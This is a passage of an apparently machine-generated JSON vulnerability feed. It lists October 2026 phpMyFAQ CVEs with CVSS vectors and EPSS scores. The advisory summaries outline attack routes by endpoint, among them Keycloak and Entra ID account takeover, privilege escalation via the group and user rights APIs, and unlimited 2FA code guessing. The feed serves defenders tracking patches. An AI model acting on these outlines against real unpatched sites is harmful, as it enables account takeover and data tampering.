CVE-2026-111905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111905","type":"primary","publishedAt":"2026-10-17T19:16:32.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111905&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111905, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111901","cveId":"CVE-2026-111901","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints.","summary":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. Attackers can send concurrent GET requests that load and process all database records into PHP memory, exhausting CPU and memory to crash the server.","detail":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. Attackers can send concurrent GET requests that load and process all database records into PHP memory, exhausting CPU and memory to crash the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:31.953Z","updatedAt":"2026-10-19T15:16:55.810Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111901","asOf":"2026-10-19T15:16:55.810Z"},"epss":{"probability":0.00415,"percentile":0.35507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111901","type":"primary","publishedAt":"2026-10-17T19:16:31.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111898","cveId":"CVE-2026-111898","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or...","summary":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or email. Attackers controlling a Keycloak identity with a colliding username or unverified email can log in through /auth/keycloak/authorize to bind their subject and gain superadmin privileges.","detail":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authentication bypass vulnerability that allows Keycloak users to take over local accounts by matching preferred_username or email. Attackers controlling a Keycloak identity with a colliding username or unverified email can log in through /auth/keycloak/authorize to bind their subject and gain superadmin privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:31.647Z","updatedAt":"2026-10-18T12:17:10.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111898","asOf":"2026-10-18T12:17:10.383Z"},"epss":{"probability":0.00435,"percentile":0.3755,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111898&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111898","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111898","type":"primary","publishedAt":"2026-10-17T19:16:31.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111898&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111898, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111897","cveId":"CVE-2026-111897","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their...","summary":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their categories by supplying arbitrary record IDs. Attackers in medium permission mode can send upload or delete requests with a target record_id or attachment ID to tamper with or remove files on unauthorized FAQs.","detail":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability that allows category-restricted editors to manage attachments of FAQs outside their categories by supplying arbitrary record IDs. Attackers in medium permission mode can send upload or delete requests with a target record_id or attachment ID to tamper with or remove files on unauthorized FAQs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:31.487Z","updatedAt":"2026-10-19T22:17:04.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111897","asOf":"2026-10-19T22:17:04.480Z"},"epss":{"probability":0.00329,"percentile":0.25841,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111897","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111897","type":"primary","publishedAt":"2026-10-17T19:16:31.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111895","cveId":"CVE-2026-111895","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username...","summary":"phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username claim and whose AuthEntraId::create() ignores the duplicate-login exception while continuing with the existing local account. Attackers controlling an Entra identity in the configured tenant with a matching preferred_username can take over that local account, including super-admin accounts.","detail":"phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username claim and whose AuthEntraId::create() ignores the duplicate-login exception while continuing with the existing local account. Attackers controlling an Entra identity in the configured tenant with a matching preferred_username can take over that local account, including super-admin accounts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:31.177Z","updatedAt":"2026-10-19T15:16:55.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111895","asOf":"2026-10-19T15:16:55.697Z"},"epss":{"probability":0.00371,"percentile":0.30735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111895","type":"primary","publishedAt":"2026-10-17T19:16:31.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111893","cveId":"CVE-2026-111893","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign...","summary":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign categories outside their own scope. Category-restricted administrators can POST to /admin/api/group/category-restrictions with out-of-scope or empty categoryIds to grant groups unrestricted category access.","detail":"phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains a privilege escalation vulnerability in GroupController::saveCategoryRestrictions() that lets delegated administrators assign categories outside their own scope. Category-restricted administrators can POST to /admin/api/group/category-restrictions with out-of-scope or empty categoryIds to grant groups unrestricted category access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:30.860Z","updatedAt":"2026-10-18T12:17:10.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111893","asOf":"2026-10-18T12:17:10.270Z"},"epss":{"probability":0.0036,"percentile":0.29533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111893","type":"primary","publishedAt":"2026-10-17T19:16:30.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111891","cveId":"CVE-2026-111891","aliases":[],"kind":"vulnerability","title":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check...","summary":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check held rights without regard to language or category scope and write unrestricted group grants. Non-superadmin administrators holding GROUP_EDIT can grant a group a right they hold only in a narrow scope and self-join it via updateMembers, gaining unrestricted FAQ create, edit, and publish access across all languages and categories.","detail":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in the group permission API, whose updatePermissions and updateMembers endpoints check held rights without regard to language or category scope and write unrestricted group grants. Non-superadmin administrators holding GROUP_EDIT can grant a group a right they hold only in a narrow scope and self-join it via updateMembers, gaining unrestricted FAQ create, edit, and publish access across all languages and categories.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:30.550Z","updatedAt":"2026-10-19T17:17:05.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111891","asOf":"2026-10-19T17:17:05.230Z"},"epss":{"probability":0.00226,"percentile":0.13226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111891","type":"primary","publishedAt":"2026-10-17T19:16:30.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111890","cveId":"CVE-2026-111890","aliases":[],"kind":"vulnerability","title":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when...","summary":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when rights are re-granted. Administrators holding USER_EDIT can submit language-scoped rights to the update-rights API, including for themselves, to gain unrestricted FAQ create, edit, and publish access across all languages.","detail":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when rights are re-granted. Administrators holding USER_EDIT can submit language-scoped rights to the update-rights API, including for themselves, to gain unrestricted FAQ create, edit, and publish access across all languages.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:30.393Z","updatedAt":"2026-10-19T15:16:55.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111890","asOf":"2026-10-19T15:16:55.580Z"},"epss":{"probability":0.00283,"percentile":0.20649,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111890&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111890","type":"primary","publishedAt":"2026-10-17T19:16:30.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111890&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111890, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111886","cveId":"CVE-2026-111886","aliases":[],"kind":"vulnerability","title":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes...","summary":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes without limit. Attackers holding a hijacked session and CSRF token can repeatedly POST guesses to /api/user/remove-twofactor to permanently disable the victim's 2FA.","detail":"phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta lacks brute-force lockout in the removeTwofactorConfig() 2FA removal endpoint, allowing authenticated attackers to guess TOTP codes without limit. Attackers holding a hijacked session and CSRF token can repeatedly POST guesses to /api/user/remove-twofactor to permanently disable the victim's 2FA.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:29.770Z","updatedAt":"2026-10-18T14:16:54.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111886","asOf":"2026-10-18T14:16:54.273Z"},"epss":{"probability":0.00273,"percentile":0.19488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111886","type":"primary","publishedAt":"2026-10-17T19:16:29.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111885","cveId":"CVE-2026-111885","aliases":[],"kind":"vulnerability","title":"phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups.","summary":"phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups. Authenticated non-SuperAdmin administrators holding GROUP_DELETE can send a crafted groupId to /admin/api/group/delete to permanently destroy higher-privileged groups and strip members' inherited rights.","detail":"phpMyFAQ from 4.2.0-alpha before 4.2.0-beta contains a missing authorization vulnerability in GroupController::deleteGroup() that omits privilege-level checks on target groups. Authenticated non-SuperAdmin administrators holding GROUP_DELETE can send a crafted groupId to /admin/api/group/delete to permanently destroy higher-privileged groups and strip members' inherited rights.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:29.610Z","updatedAt":"2026-10-18T14:16:54.157Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111885","asOf":"2026-10-18T14:16:54.157Z"},"epss":{"probability":0.0032,"percentile":0.24781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111885&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111885","type":"primary","publishedAt":"2026-10-17T19:16:29.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111885&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111885, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111884","cveId":"CVE-2026-111884","aliases":[],"kind":"vulnerability","title":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel...","summary":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel (UserController::updateData, api/user/data/update), checking only the session and CSRF token. An attacker with a hijacked session can set the e-mail to their own mailbox and use the password-reset flow to take over non-2FA accounts, including superadmin.","detail":"phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta does not require the current password when changing an account e-mail in the user control panel (UserController::updateData, api/user/data/update), checking only the session and CSRF token. An attacker with a hijacked session can set the e-mail to their own mailbox and use the password-reset flow to take over non-2FA accounts, including superadmin.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 